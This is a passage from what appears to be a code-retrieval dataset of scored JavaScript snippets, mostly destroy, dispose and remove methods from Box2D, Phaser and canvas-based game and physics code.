= false;\n vertAttribute = false;\n }\n iterator = 0;\n components = dataComponents || 2;\n data = [];\n }", "title": "" }, { "docid": "e1487b7c3eca41fd1adae19810db03d8", "score": "0.58868647", "text": "function destroy () {}", "title": "" }, { "docid": "946963dce306c6e81ffd1f653ca7849f", "score": "0.5857914", "text": "destructor() {\n if (this.sprite) {\n this.sprite.destroy({children: true});\n }\n }", "title": "" }, { "docid": "9dd1eaeb76219f7bb8f77fa59be21894", "score": "0.5854387", "text": "function destroy() {}", "title": "" }, { "docid": "efb4a69aa70021e5a719691d9af4195f", "score": "0.5851289", "text": "resetWorld() {\n for (var i in this.cellMesh) {\n if (this.cellMesh[i].geometry !== void 0) {\n this.cellMesh[i].geometry.dispose();\n this.game.scene.remove(this.cellMesh[i]);\n }\n delete this.cellMesh[i];\n }\n this.chunkTerrain.reset();\n this.chunkWorker.postMessage({\n type: \"resetWorld\",\n data: null,\n });\n }", "title": "" }, { "docid": "81b24bb3648a9ea979c4dbdcfdbd2e50", "score": "0.5846841", "text": "destroy() {\n this._canvas = null;\n this._ctx = null;\n this._canvasDimensions = null;\n }", "title": "" }, { "docid": "c44bab95eb7653ab50ff7b9cc31f16b8", "score": "0.58228457", "text": "destroy() {\n const canvas = this.gameObject.scene.game_engine.canvas;\n canvas.removeEventListener(\"touchstart\", this._touch_start_clb);\n canvas.removeEventListener(\"touchmove\" , this._touch_move_clb );\n canvas.removeEventListener(\"touchend\" , this._touch_end_clb );\n canvas.removeEventListener(\"mousedown\" , this._mouse_down_clb );\n canvas.removeEventListener(\"mousemove\" , this._mouse_move_clb );\n canvas.removeEventListener(\"mouseup\" , this._mouse_end_clb );\n }", "title": "" }, { "docid": "e72cb02d7e575c589f08e1dae03265f6", "score": "0.58208233", "text": "destroySelf(){\n\t\t// Remove all sub-actors\n\t\tfor(var i=0;i<this.subActors.length;i++){\n\t\t\t_rooms[this.stageID].model.removeActor(this.subActors[i]);\n }\n\t\t_rooms[this.stageID].model.removeActor(this);\n\t}", "title": "" }, { "docid": "0c85c1f35d8eb8df2cf2d23305db5f3a", "score": "0.5820475", "text": "remove() {\n const { el, system } = this;\n // remove from collisions\n system.removeEntity(el);\n }", "title": "" }, { "docid": "47b5bc025e8b26d5978e6b5a3eaf4873", "score": "0.58186674", "text": "exitDoor(player, door){\n this.physics.destroy();\n this.scene.start('level2');\n }", "title": "" }, { "docid": "4da2951c500257e7b25783d1f15378fa", "score": "0.581474", "text": "_deactivate()\n {\n this._isDead = true;\n this.body.setSize(0);\n\n Object.keys(this._bodyParts).forEach((bossPartKey) => {\n this.scene.time.addEvent({\n delay: Phaser.Math.Between(1, 3) * 200,\n callback: () => {\n const bodyPart = this._bodyParts[bossPartKey];\n this.scene.physics.world.enable(bodyPart);\n },\n callbackScope: this,\n repeat: 0\n });\n });\n }", "title": "" }, { "docid": "219fe987ff1961166d80af881f228582", "score": "0.58055747", "text": "destroy() {\n destroyObjectProperties(this, this.axis);\n }", "title": "" }, { "docid": "d191de603f8db275afb1134125ee7a07", "score": "0.5797032", "text": "function b2Body(bd, world) {\n this.m_type = b2BodyType.b2_staticBody;\n this.m_flags = b2BodyFlag.e_none;\n this.m_islandIndex = 0;\n this.m_xf = new box2d.b2Transform(); // the body origin transform\n this.m_sweep = new box2d.b2Sweep(); // the swept motion for CCD\n this.m_linearVelocity = new box2d.b2Vec2();\n this.m_angularVelocity = 0;\n this.m_force = new box2d.b2Vec2;\n this.m_torque = 0;\n this.m_world = null;\n this.m_prev = null;\n this.m_next = null;\n this.m_fixtureList = null;\n this.m_fixtureCount = 0;\n this.m_jointList = null;\n this.m_contactList = null;\n this.m_mass = 1;\n this.m_invMass = 1;\n // Rotational inertia about the center of mass.\n this.m_I = 0;\n this.m_invI = 0;\n this.m_linearDamping = 0;\n this.m_angularDamping = 0;\n this.m_gravityScale = 1;\n this.m_sleepTime = 0;\n this.m_userData = null;\n if (box2d.ENABLE_ASSERTS) {\n box2d.b2Assert(bd.position.IsValid());\n }\n if (box2d.ENABLE_ASSERTS) {\n box2d.b2Assert(bd.linearVelocity.IsValid());\n }\n if (box2d.ENABLE_ASSERTS) {\n box2d.b2Assert(box2d.b2IsValid(bd.angle));\n }\n if (box2d.ENABLE_ASSERTS) {\n box2d.b2Assert(box2d.b2IsValid(bd.angularVelocity));\n }\n if (box2d.ENABLE_ASSERTS) {\n box2d.b2Assert(box2d.b2IsValid(bd.gravityScale) && bd.gravityScale >= 0);\n }\n if (box2d.ENABLE_ASSERTS) {\n box2d.b2Assert(box2d.b2IsValid(bd.angularDamping) && bd.angularDamping >= 0);\n }\n if (box2d.ENABLE_ASSERTS) {\n box2d.b2Assert(box2d.b2IsValid(bd.linearDamping) && bd.linearDamping >= 0);\n }\n this.m_flags = b2BodyFlag.e_none;\n if (bd.bullet) {\n this.m_flags |= b2BodyFlag.e_bulletFlag;\n }\n if (bd.fixedRotation) {\n this.m_flags |= b2BodyFlag.e_fixedRotationFlag;\n }\n if (bd.allowSleep) {\n this.m_flags |= b2BodyFlag.e_autoSleepFlag;\n }\n if (bd.awake) {\n this.m_flags |= b2BodyFlag.e_awakeFlag;\n }\n if (bd.active) {\n this.m_flags |= b2BodyFlag.e_activeFlag;\n }\n this.m_world = world;\n this.m_xf.p.Copy(bd.position);\n this.m_xf.q.SetAngleRadians(bd.angle);\n this.m_sweep.localCenter.SetZero();\n this.m_sweep.c0.Copy(this.m_xf.p);\n this.m_sweep.c.Copy(this.m_xf.p);\n this.m_sweep.a0 = bd.angle;\n this.m_sweep.a = bd.angle;\n this.m_sweep.alpha0 = 0;\n this.m_linearVelocity.Copy(bd.linearVelocity);\n this.m_angularVelocity = bd.angularVelocity;\n this.m_linearDamping = bd.linearDamping;\n this.m_angularDamping = bd.angularDamping;\n this.m_gravityScale = bd.gravityScale;\n this.m_force.SetZero();\n this.m_torque = 0;\n this.m_sleepTime = 0;\n this.m_type = bd.type;\n if (bd.type == b2BodyType.b2_dynamicBody) {\n this.m_mass = 1;\n this.m_invMass = 1;\n }\n else {\n this.m_mass = 0;\n this.m_invMass = 0;\n }\n this.m_I = 0;\n this.m_invI = 0;\n this.m_userData = bd.userData;\n this.m_fixtureList = null;\n this.m_fixtureCount = 0;\n //this.m_controllerList = null;\n //this.m_controllerCount = 0;\n }", "title": "" }, { "docid": "72554440043ad35ea77b85d33ffdd68c", "score": "0.5796528", "text": "destroy() {\n let _this = this;\n\n \treturn $.Velocity.animate( $(\"#\" + _this.capsule.id), \"fadeOut\", { duration: 500 })\n .then(function(el) {\n // Remove container from DOM\n $(el).remove();\n // Destroy self\n _this = null;\n })\n .catch(function(reason) { \n console.log(\"Rejected because \" + reason);\n });\n }", "title": "" }, { "docid": "92bb4d6489713652650e23e0aa69ae0f", "score": "0.5793575", "text": "remove() {\n\t\tthis._destroyed = true;\n\t\tfor (let i=0; i<this.particles.length; i++) {\n\t\t\tthis.particles[i].remove();\n\t\t\tthis.particles.splice(i, 1);\n\t\t\ti--;\n\t\t}\n\t}", "title": "" }, { "docid": "56b715cbbf72adc0339463ac5de03cac", "score": "0.5779389", "text": "remove() {\n if (this.joint != null) {\n this.world.DestroyJoint(this.joint);\n }\n }", "title": "" }, { "docid": "67cd98c562529640c37370565199137d", "score": "0.5779061", "text": "function update2() {\r\n\t \tworld.Step(1 / 60, 10, 10);\r\n\t \tcontext.clearRect(0,0,canvaswidth,canvasheight);\r\n\t \tworld.ClearForces();\r\n\r\n\t \tprocessObjects();\r\n\t }", "title": "" }, { "docid": "0fa089e3a625b08bce12798c9c653b0b", "score": "0.5775068", "text": "removeCollisionsWith(body2) {\n if (this.bodiesToNotCollideWith.contains(body2)) {\n return;\n }\n\n this.bodiesToNotCollideWith.push(body2);\n }", "title": "" }, { "docid": "5012c9582283a0d220acb81b74414c21", "score": "0.57567877", "text": "destroy()\n {\n this.div = null;\n\n for (let i = 0; i < this.children.length; i++)\n {\n this.children[i].div = null;\n }\n\n window.document.removeEventListener('mousemove', this._onMouseMove);\n window.removeEventListener('keydown', this._onKeyDown);\n\n this.pool = null;\n this.children = null;\n this.renderer = null;\n }", "title": "" }, { "docid": "86e1e5c584fc3ff459d0d09479440466", "score": "0.5750819", "text": "destroy() {\n this.wheelInput.destroy();\n this.moveInput.destroy();\n this.manager.destroy();\n }", "title": "" }, { "docid": "6252162d5c5c8a6c6d4b484deb8aba51", "score": "0.57433295", "text": "function LoadWorld(params) \n{\n //Create the stage\n if (stage===undefined)\n {\n \tstage = new Stage(\"c\");\n\n\t //stage.addEventListener(Event.ENTER_FRAME, onEF);\n\t stage.addEventListener(MouseEvent.MOUSE_DOWN, AssumeControl);\n\t stage.addEventListener(MouseEvent.MOUSE_UP, RenegeControl);\n\t stage.addEventListener(KeyboardEvent.KEY_DOWN, RotateOn);\n\t stage.addEventListener(KeyboardEvent.KEY_UP, RotateOff);\n\t //stage.addEventListener(MouseEvent.RIGHT_CLICK, RemovePiece, false); \n\t parent.document.getElementById('task3_frame').addEventListener(\"mouseout\", RenegeControl);\n\n\t world = new b2World(new b2Vec2(0, 10), true);//New world with normal gravity\n\n\t world.SetContactListener(listener);\n\n\t var bxFixDef = new b2FixtureDef(); // box fixture definition\n\t bxFixDef.shape = new b2PolygonShape();\n\t bxFixDef.density = 1;\n\t //bxFixDef.restitution = 0.25;\n\t bxFixDef.friction = 0.5;///???\n\n\t var bodyDef = new b2BodyDef();\n\t bodyDef.type = b2Body.b2_staticBody;\n\n\t // create ground\n\t bxFixDef.shape.SetAsBox(10, 0.2);//10m by 1m static box\n\t bodyDef.position.Set(0, 4);//Places it in the bottom 1m of the window\n\t var ground = world.CreateBody(bodyDef).CreateFixture(bxFixDef);\n\t ground.SetUserData({type:\"ground\"});\n\n\t var s = new Sprite();\n\t s.graphics.beginFill(0x000000, .7);\n\t s.graphics.drawRect(0,0, 6*ratio, 0.1*ratio);\n\t s.graphics.endFill();\n\t stage.addChild(s);\n\t //s.x=(stage.stageWidth)/2\n\t s.y=4*ratio - 0.2 * ratio;\n\n\n\n\t bxFixDef.shape.SetAsBox(1, 100);//1 meter wide by 100 meter high walls\n\t // left wall\n\t bodyDef.position.Set(-1, 3);\n\t world.CreateBody(bodyDef).CreateFixture(bxFixDef);\n\t // right wall\n\t bodyDef.position.Set(stage.stageWidth/ratio+1, 3);\n\t world.CreateBody(bodyDef).CreateFixture(bxFixDef);\n } else {\n \tfor (var i=0; i<bodies.length; ++i)\n \t{\n\t \tstage.removeChild(actors[i]);\n\t\t\tworld.DestroyBody(bodies[i]);\n \t}\n }\n \n\n // Both images are supposed to be 200 x 200 px\n //var bxBD = new BitmapData(\"../images/box.png\");\n\n \n //The colours of the blocks\n coloptions = [0xff0000, 0x00ff00, 0x0000ff];\n dims = [{w:1/2, h:1/4}, {w:1/4,h:1/4}, {w:1/2, h:1/8}];\n\tbodies = [];\n\tactors = [];\n userdata = [];\n removed = [];//Track indices of deleted objects (maybe remove this)\n cols = [];\n\n console.log('params', params)\n\n //Colour i\n for (var i=0; i<params.length; i++)\n {\n \tremoved.push([]);\n \tuserdata.push([]);\n \t//Shape j\n\t for (var j=0; j<params[i].length; j++)\n\t\t{\n removed[i].push([]);\n userdata[i].push([]);\n for (var k=0; k<params[i][j]; k++)\n {\n console.log('ping', i, j, k, '\\n')\n\n //cols[i].push(coloptions[i]);\n userdata[i][j].push({col:['red','green','blue'][i], col_ix:i, shape:j, ix:bodies.length});\n removed[i][j].push(false);\n\n /////////////////\n //Add the blocks\n /////////////////\n console.log('colour', i, 'shape', j, bodies.length);\n\n var bodyDef = new b2BodyDef();\n bodyDef.type = b2Body.b2_dynamicBody;\n\n var blFixDef = new b2FixtureDef(); // box fixture definition\n blFixDef.shape = new b2PolygonShape();\n\n\n blFixDef.shape.SetAsBox(dims[j].w, dims[j].h);//One meter by one meter\n blFixDef.density = 1;\n blFixDef.restitution = 0.1;\n\n bodyDef.position.Set(Math.random()*4+1, Math.random()*3);\n\n //////////////////\n //The Box2d object\n //////////////////\n \n var body = world.CreateBody(bodyDef);\n\n body.CreateFixture(blFixDef);\n bodies.push(body);\n\n //body.SetAngle(Math.PI + Math.random()*0.1 - 0.05);\n body.SetAngularDamping(.1);\n body.SetUserData(userdata[i][j]);\n\n /////////////////////////\n //The visualization of them\n /////////////////////////\n var actor = new Sprite();\n actor.graphics.beginFill(coloptions[i], .7);\n actor.graphics.drawRect(-dims[j].w*ratio,-dims[j].h*ratio, dims[j].w*ratio*2, dims[j].h*ratio*2);\n actor.graphics.endFill();\n \n actor.obj_ix = actors.length;\n \n // actor.graphics.drawRect(-hw*ratio,-hh*ratio,2*hw*ratio,2*hh*ratio);\n pos = body.GetPosition();\n console.log('i', i, 'pos', pos);\n\n stage.addChild(actor);\n actor.x = pos.x*ratio;\n actor.y = pos.y*ratio;\n actors.push(actor);\n }\n \n\t\t}\n }\n\n\n\n \n\n\n}", "title": "" }, { "docid": "f51c050e6c39dc1d37e8d84e688b493c", "score": "0.5736343", "text": "remove () {\n this.width = 0; // set width of entity to 0\n this.height = 0; // set height of entity to 0\n this.x = -100; // set x position of entity off canvas\n this.y = -100; // set y position of entity off canvas\n this.direction = null; // set direction of the entity to null\n this.speed = null; // set speed of entity to null\n\n }", "title": "" }, { "docid": "883ae1268307d3d6fc8d597cb7fde702", "score": "0.5729619", "text": "destroy() {\n this._name = '';\n this._turnDirection = '';\n this._legLength = '';\n this._positionModel = null;\n\n this.isHold = false;\n this.speedRestriction = -1;\n this.altitudeRestriction = -1;\n this.timer = -999;\n }", "title": "" }, { "docid": "607d94991e853bf2decab1d50438df38", "score": "0.5708089", "text": "update() {\n\n /**\n * If instance (beam) reaches the top - 32px of the screen destroy it,\n * we need to this because if me don't it will cause performance\n * problems\n */\n if(this.y < 32 ) {\n this.destroy();\n }\n }", "title": "" }, { "docid": "7d47b242133abba505542f2c99a3435a", "score": "0.569109", "text": "clear()\r\n\t{\r\n\t\tthis.clearBodies();\r\n\t\t\r\n\t\tif ( this._seedCenterTimeout !== null )\r\n\t\t{\r\n\t\t\tclearTimeout( this._seedCenterTimeout );\r\n\t\t\tthis._seedCenterTimeout = null;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "e0178c215a02766b63919a85e6e0a7d6", "score": "0.5672575", "text": "destroyScene(){\n //console.log(this.collidingTraps.getChildren().length);\n this.destroyGroup(this.collidingTraps);\n this.destroyGroup(this.overlappingTraps);\n this.destroyGroup(this.enemyProjectiles);\n this.destroyGroup(this.playerProjectiles);\n this.destroyGroup(this.collectables);\n this.bgm.stop();\n this.wizard.destroy();\n }", "title": "" }, { "docid": "f2528f592a6304086dc42a9668a1ceeb", "score": "0.56643236", "text": "destroy() {\n // Clear the map, DOM and state change handler.\n this.#cellMap.removeCrosswordCells(this.#crosswordModel);\n this.#domParentElement.removeChild(this.#crosswordGridElement);\n this.#window.removeEventListener(\"resize\", this.#onWindowResize);\n this.onStateChanged = null;\n }", "title": "" }, { "docid": "c6d10f48f65adcc5db195b4f6706c3ad", "score": "0.56491846", "text": "dispose() {\n clearInterval(this.flashlightInterval);\n this.soundMachine.clear();\n this.poseDetector.clear();\n this.scene.dispose();\n }", "title": "" }, { "docid": "5bac18e20de200826095784151d06adc", "score": "0.5648104", "text": "function destroy(){\r\n }", "title": "" }, { "docid": "5bac18e20de200826095784151d06adc", "score": "0.5648104", "text": "function destroy(){\r\n }", "title": "" }, { "docid": "2f0228a07b3c31bd713e7670a032c937", "score": "0.563539", "text": "destroy() {\n this.frame.parentNode.removeChild(this.frame); // Remove element from DOM\n }", "title": "" }, { "docid": "2f0228a07b3c31bd713e7670a032c937", "score": "0.563539", "text": "destroy() {\n this.frame.parentNode.removeChild(this.frame); // Remove element from DOM\n }", "title": "" }, { "docid": "2f0228a07b3c31bd713e7670a032c937", "score": "0.563539", "text": "destroy() {\n this.frame.parentNode.removeChild(this.frame); // Remove element from DOM\n }", "title": "" }, { "docid": "70c08fac5d5dd371a0e921b6a86f141c", "score": "0.56351125", "text": "function destroyEnemy(){\r\n\t\tif(!enemy.isAlive){\r\n\t\t\t$(\"#enemy\").effect(\"explode\", 200).delay(0).queue(function(next){\r\n\t\t\t\t$(\"#enemy\").removeClass(\"dyingEnemy\").addClass(\"readingEnemy\").find(\"p\").text(\"\");\r\n\t\t\t\tenemy = null;\r\n\t\t\t\tgenerateEnemy();\r\n\t\t\t\tnext();\r\n\t\t\t});\r\n\t\t}\r\n\t\telse{}\r\n\t}", "title": "" }, { "docid": "1216ff110ae210119f39431ad459d330", "score": "0.56311893", "text": "destroy() {\n this.domElement.removeEventListener('keydown', this.onKeyDown, false)\n this.domElement.removeEventListener('keydown', this.onKeyUp, false)\n }", "title": "" }, { "docid": "426150077fd26b2dfc7b7cb32f765388", "score": "0.56268036", "text": "function hideFrame(){\n scene.remove( meshFrame );\n}", "title": "" }, { "docid": "8569ccc4092f7045c71473194d1dc22b", "score": "0.5620031", "text": "stopAndDestroy() {\n this.activeScrollVector_ = new Blockly.utils.Coordinate(0, 0);\n this.shouldAnimate_ = false;\n cancelAnimationFrame(this.animationFrameId_);\n this.animationFrameId_ = 0;\n }", "title": "" }, { "docid": "798c9748aa2090f627c4515f946e6182", "score": "0.5617626", "text": "set bodyEnabled(v) {\n if (v) {\n if (this.bodyIndex < 0) {\n this.bodyIndex = this.wrappedWorld.bodies.length;\n this.body.clearState();\n this.wrappedWorld.addSharedBody(this);\n this.syncInitialBody();\n }\n } else if (this.bodyIndex >= 0) {\n const isRemoveBody = this.bodyStruct.wrappedShapes.length === 0 && this.wrappedBody == null || this.bodyStruct.wrappedShapes.length === 0 && this.wrappedBody != null && !this.wrappedBody.isEnabled || this.bodyStruct.wrappedShapes.length === 0 && this.wrappedBody != null && !this.wrappedBody.rigidBody.enabledInHierarchy;\n\n if (isRemoveBody) {\n this.body.clearState(); // clear velocity etc.\n\n this.bodyIndex = -1;\n this.wrappedWorld.removeSharedBody(this);\n }\n }\n }", "title": "" }, { "docid": "f0b4e21ae4881bf7ffec780e28fca51b", "score": "0.5600477", "text": "destroy() {\n Node.prototype.destroy.apply(this, arguments);\n\n // destroy each of the GraphicsData objects\n for (var i = 0; i < this.graphicsData.length; ++i) {\n this.graphicsData[i].destroy();\n }\n\n // for each webgl data entry, destroy the WebGLGraphicsData\n for (var id in this._webgl) {\n for (var j = 0; j < this._webgl[id].data.length; ++j) {\n this._webgl[id].data[j].destroy();\n }\n }\n\n this.graphicsData = null;\n\n this.currentPath = null;\n this._webgl = null;\n this._localBounds = null;\n }", "title": "" }, { "docid": "2f3e2d98a094f71f552a905f05ae5549", "score": "0.5591662", "text": "function processObjects() {\r\n\r\n\t\t//绘制虚线\r\n\t\tdashedLine(\"canvas\",0,canvasheight-deltaFloor,canvaswidth,canvasheight-deltaFloor);\r\n\r\n\t \tvar node = world.GetBodyList();\r\n\t \t//判断是否要删除发生了碰撞的weapon\r\n\t \tif(weapon.status == false){\r\n\t \t\tworld.DestroyBody(weapon.obj);\r\n\t \t\tweapon.obj = null;\r\n\t \t\tweapon.status = true;\r\n\t \t}\r\n\t \twhile (node) {\r\n\t \t\tvar b = node;\r\n\t \t\tnode = node.GetNext();\r\n\t\t\tvar position = b.GetPosition();\r\n\t\t\t// Draw the dynamic objects\r\n\t\t\tif (b.GetType() == b2Body.b2_dynamicBody) {\r\n\r\n\t\t\t\t// Canvas Y coordinates start at opposite location, so we flip\r\n\t\t\t\tvar flipy = canvasheight - position.y;\r\n\t\t\t\tvar fl = b.GetFixtureList();\r\n\t\t\t\tif (!fl) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tvar shape = fl.GetShape();\r\n\t\t\t\tvar shapeType = shape.GetType();\r\n\t\t\t\t// put an image in place if we store it in user data\r\n\t\t\t\tif (b.m_userData && b.m_userData.imgsrc) {\r\n\t\t\t\t\t// This \"image\" body destroys polygons that it contacts\r\n\t\t\t\t\tvar edge = b.GetContactList();\r\n\t\t\t\t\twhile (edge) {\r\n\t\t\t\t\t\tvar other = edge.other;\r\n\t\t\t\t\t\tif (other.GetType() == b2Body.b2_dynamicBody) {\r\n\t\t\t\t\t\t\tvar othershape = other.GetFixtureList().GetShape();\r\n\t\t\t\t\t\t\tif (othershape.GetType() == b2Shape.e_polygonShape) {\r\n\t\t\t\t\t\t\t\tworld.DestroyBody(other);\r\n\t\t\t\t\t\t\t\tbreak;\t\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tedge = edge.next;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Draw the image on the object\r\n\t\t\t\t\tvar size = b.m_userData.imgsize;\r\n\t\t\t\t\tvar imgObj = new Image(size,size);\r\n\t\t\t\t\timgObj.src = b.m_userData.imgsrc;\r\n\t\t\t\t\tcontext.save();\r\n\t\t\t\t\t// Translate to the center of the object, then flip and scale appropriately\r\n\t\t\t\t\tcontext.translate(position.x,flipy); \r\n\t\t\t\t\tcontext.rotate(b.GetAngle());\r\n\t\t\t\t\tvar s2 = -1*(size/2);\r\n\t\t\t\t\tvar scale = b.m_userData.bodysize/-s2;\r\n\t\t\t\t\tcontext.scale(scale,scale);\r\n\t\t\t\t\tcontext.drawImage(imgObj,s2,s2);\r\n\t\t\t\t\tcontext.restore();\r\n\t\t\t\t\t//b.ApplyImpulse(new b2Vec2(6000,6000),new b2Vec2(0,0));\r\n\t\t\t\t\t//b.ApplyImpulse(new b2Vec2(6000,6000),b.GetWorldCenter());\r\n\r\n\t\t\t\t}\r\n\r\n\t\t\t\t // draw a circle - a solid color, so we don't worry about rotation\r\n\t\t\t\t else if (shapeType == b2Shape.e_circleShape) {\r\n\t\t\t\t \tcontext.strokeStyle = \"#CCCCCC\";\r\n\t\t\t\t \tcontext.fillStyle = \"#FF8800\";\r\n\t\t\t\t \tcontext.beginPath();\r\n\t\t\t\t \tcontext.arc(position.x,flipy,shape.GetRadius(),0,Math.PI*2,true);\r\n\t\t\t\t \tcontext.closePath();\r\n\t\t\t\t \tcontext.stroke();\r\n\t\t\t\t \tcontext.fill();\r\n\t\t\t\t }\r\n\r\n\t\t\t\t // draw a polygon \r\n\t\t\t\t else if (shapeType == b2Shape.e_polygonShape) {\r\n\t\t\t\t \tvar vert = shape.GetVertices();\r\n\t\t\t\t \tcontext.beginPath();\r\n\r\n\t\t\t\t\t// Handle the possible rotation of the polygon and draw it\r\n\t\t\t\t\tb2Math.MulMV(b.m_xf.R,vert[0]);\r\n\t\t\t\t\tvar tV = b2Math.AddVV(position, b2Math.MulMV(b.m_xf.R, vert[0]));\r\n\t\t\t\t\tcontext.moveTo(tV.x, canvasheight-tV.y);\r\n\t\t\t\t\tfor (var i = 0; i < vert.length; i++) {\r\n\t\t\t\t\t\tvar v = b2Math.AddVV(position, b2Math.MulMV(b.m_xf.R, vert[i]));\r\n\t\t\t\t\t\tcontext.lineTo(v.x, canvasheight - v.y);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tcontext.lineTo(tV.x, canvasheight - tV.y);\r\n\t\t\t\t\tcontext.closePath();\r\n\t\t\t\t\tcontext.strokeStyle = \"#CCCCCC\";\r\n\t\t\t\t\tcontext.fillStyle = \"#88FFAA\";\r\n\t\t\t\t\tcontext.stroke();\r\n\t\t\t\t\tcontext.fill();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "e8384e2998ace2d2e6720f4605f20988", "score": "0.5588375", "text": "function CreateBox (world, x, y, width, height, options)\n{\n // default values\n let defaultOptions = {\n \tdensity : 1.0,\n \tfriction: 1.0,\n \trestitution : 0.5,\n \n \tlinearDamping : 0.0,\n \tangularDamping: 0.0,\n \tfixedRotation : true,\n \n \ttype : b2Body.b2_dynamicBody\n }\n options = Object.assign(defaultOptions, options);\n\n // Fixture: define physics properties (density, friction, restitution)\n\tvar fix_def = new b2FixtureDef();\n \n\tfix_def.density = options.density;\n\tfix_def.friction = options.friction;\n\tfix_def.restitution = options.restitution;\n \n\t// Shape: 2d geometry (circle or polygon)\n\tfix_def.shape = new b2PolygonShape();\n \n\tfix_def.shape.SetAsBox(width, height);\n\n // Body: position of the object and its type (dynamic, static o kinetic)\n\tvar body_def = new b2BodyDef();\n\tbody_def.position.Set(x, y);\n \n\tbody_def.linearDamping = options.linearDamping;\n\tbody_def.angularDamping = options.angularDamping;\n\tbody_def.fixedRotation = options.fixedRotation;\n \n\tbody_def.type = options.type; // b2_dynamicBody\n\tbody_def.userData = options.user_data;\n \n\tvar b = world.CreateBody(body_def);\n\tvar f = b.CreateFixture(fix_def);\n \n\treturn b;\n}", "title": "" }, { "docid": "d070a4ffe191e923484140f5f5329297", "score": "0.5586179", "text": "destroy()\n {\n this.renderer = null;\n }", "title": "" }, { "docid": "5678dd74778f7b762c7d41f457883e49", "score": "0.5579735", "text": "function removeSphere() {\n\tscene.remove( sphere );\n}", "title": "" }, { "docid": "920aa724d584c9b42a9e74afd368afb6", "score": "0.55763113", "text": "destroy() {\n let instance = this;\n instance.eventHandlers.forEach(({el, handlers}) => {\n Object.keys(handlers).forEach(event => el.removeEventListener(event, handlers[event], false));\n });\n instance.widget.parentNode.removeChild(instance.widget);\n instance.eventHandlers = instance.widget = instance.container = instance.scrollBody = null;\n }", "title": "" }, { "docid": "c90f0787cef1af74aae0ba17fe88e583", "score": "0.5574922", "text": "unloadLevel(level){\n level.sprite.destroy();\n this.ghost.destroy();\n this.timer.destroy();\n \n while(this.hitboxArr.length > 0){\n let hitbox = this.hitboxArr.pop();\n hitbox.body.destroy();\n hitbox.destroy();\n }\n while(this.humans.length > 0){\n let human = this.humans.pop();\n human.sprite.body.destroy();\n human.sprite.destroy();\n }\n this.textBackground.destroy();\n }", "title": "" }, { "docid": "074c394d2a1f467f797809bb82c08bb0", "score": "0.5555631", "text": "destroy() {\n // unbind datasets\n this.setItems(null);\n this.setGroups(null);\n\n // remove all event listeners\n this.off();\n\n // stop checking for changed size\n this._stopAutoResize();\n\n // remove from DOM\n if (this.dom.root.parentNode) {\n this.dom.root.parentNode.removeChild(this.dom.root);\n }\n this.dom = null;\n\n // remove Activator\n if (this.activator) {\n this.activator.destroy();\n delete this.activator;\n }\n\n // cleanup hammer touch events\n for (const event in this.timelineListeners) {\n if (this.timelineListeners.hasOwnProperty(event)) {\n delete this.timelineListeners[event];\n }\n }\n this.timelineListeners = null;\n this.hammer && this.hammer.destroy();\n this.hammer = null;\n\n // give all components the opportunity to cleanup\n this.components.forEach(component => component.destroy());\n\n this.body = null;\n }", "title": "" }, { "docid": "41c0c73458774e41e95d3cac631bf92a", "score": "0.5548514", "text": "clearForces() {\n const bodies = this.bodies;\n const N = bodies.length;\n\n for (let i = 0; i !== N; i++) {\n const b = bodies[i];\n const force = b.force;\n const tau = b.torque;\n b.force.set(0, 0, 0);\n b.torque.set(0, 0, 0);\n }\n }", "title": "" }, { "docid": "c1ee285eac01b78b8066dc9c6d7674f1", "score": "0.55420357", "text": "removeBox() {\n\t\tthis.wrapper.remove();\n\t\tthis.currentGallery = null;\n\t\tthis.currentIndex = null;\n\t\tthis.box = null;\n\t\tthis.wrapper = null;\n\t\tthis.boxImages = null;\n\t\tthis.slidesContainer = null;\n\t\tdocument.removeEventListener(\"keydown\", this.k);\n\t}", "title": "" }, { "docid": "81351bcd4f1d98ce6f4358c8c048a5f1", "score": "0.55397326", "text": "Destroy ()\n {\n this.modelLoader.Destroy ();\n this.viewer.Destroy ();\n this.model = null;\n }", "title": "" }, { "docid": "0fb9424325f46f6558e8a8ed91403c5c", "score": "0.5538489", "text": "function destroySprite(pointer){\n \n // Get the body we clicked (if any)\n var bodyClicked = game.physics.p2.hitTest(pointer.position);\n\n // Don't do anything if we clicked the ground\n if(bodyClicked[0].parent.sprite.key == 'ground'){\n return;\n }\n // Otherwise, remove the sprite and create particle explosion\n else{\n bodyClicked[0].parent.sprite.kill();\n\n // The emitter will activate wherever we clicked\n emitter.x = pointer.x;\n emitter.y = pointer.y;\n\n // Emit 10 particles with a 2 second lifespan \n // in all directions (first arg = true, explosion) \n emitter.start(true, 2000, null, 10);\n }\n}", "title": "" }, { "docid": "577aaf96bf7cc8f51db7e3db27391833", "score": "0.5537718", "text": "destroy() {\n if (this.parent) {\n this.parent.remove(this);\n }\n Engine.get().unregisterEntity(this);\n }", "title": "" }, { "docid": "ebe3668f6f49ff01ed7449ffe70e17ae", "score": "0.5529753", "text": "destroy(){}", "title": "" }, { "docid": "e36315c1614efc2b4e0f450045166ac5", "score": "0.55241394", "text": "allowCollisionsWith(body2) {\n\n let index = this.bodiesToNotCollideWith.indexOf(body2);\n if (index !== -1) {\n this.bodiesToNotCollideWith.remove(index);\n }\n }", "title": "" }, { "docid": "a0c87942aee8bb05349cfa918ba7660f", "score": "0.55232114", "text": "function Start () {\n //Destroy(gameObject, 1); \n \n}", "title": "" }, { "docid": "610752fcfbdcd2519fe404675299d32d", "score": "0.5522799", "text": "destroy() {\n let instance = this;\n instance.eventHandlers.forEach(({el, handlers}) => {\n Object.keys(handlers).forEach(event => el.removeEventListener(event, handlers[event], false));\n });\n instance.widget.parentNode.removeChild(instance.widget);\n instance.eventHandlers = instance.widget = instance.container = instance.scrollBody = null;\n }", "title": "" }, { "docid": "ff6396bfb06c10c8f2dd6bdbaca187d0", "score": "0.5521338", "text": "destroy() {\n this._image = null;\n this._pose = null;\n\n if (this._bitmap) {\n this._bitmap.close();\n this._bitmap = null;\n }\n }", "title": "" }, { "docid": "e659338674ad04b15f4902d45cd9680c", "score": "0.5518788", "text": "function clearScene() {\n\tvar objsToRemove = _.rest(scene.children, 1);\n\t_.each(objsToRemove, function( object ) {\n\t scene.remove(object);\n\t});\n\tinit();\n\tanimate();\n}", 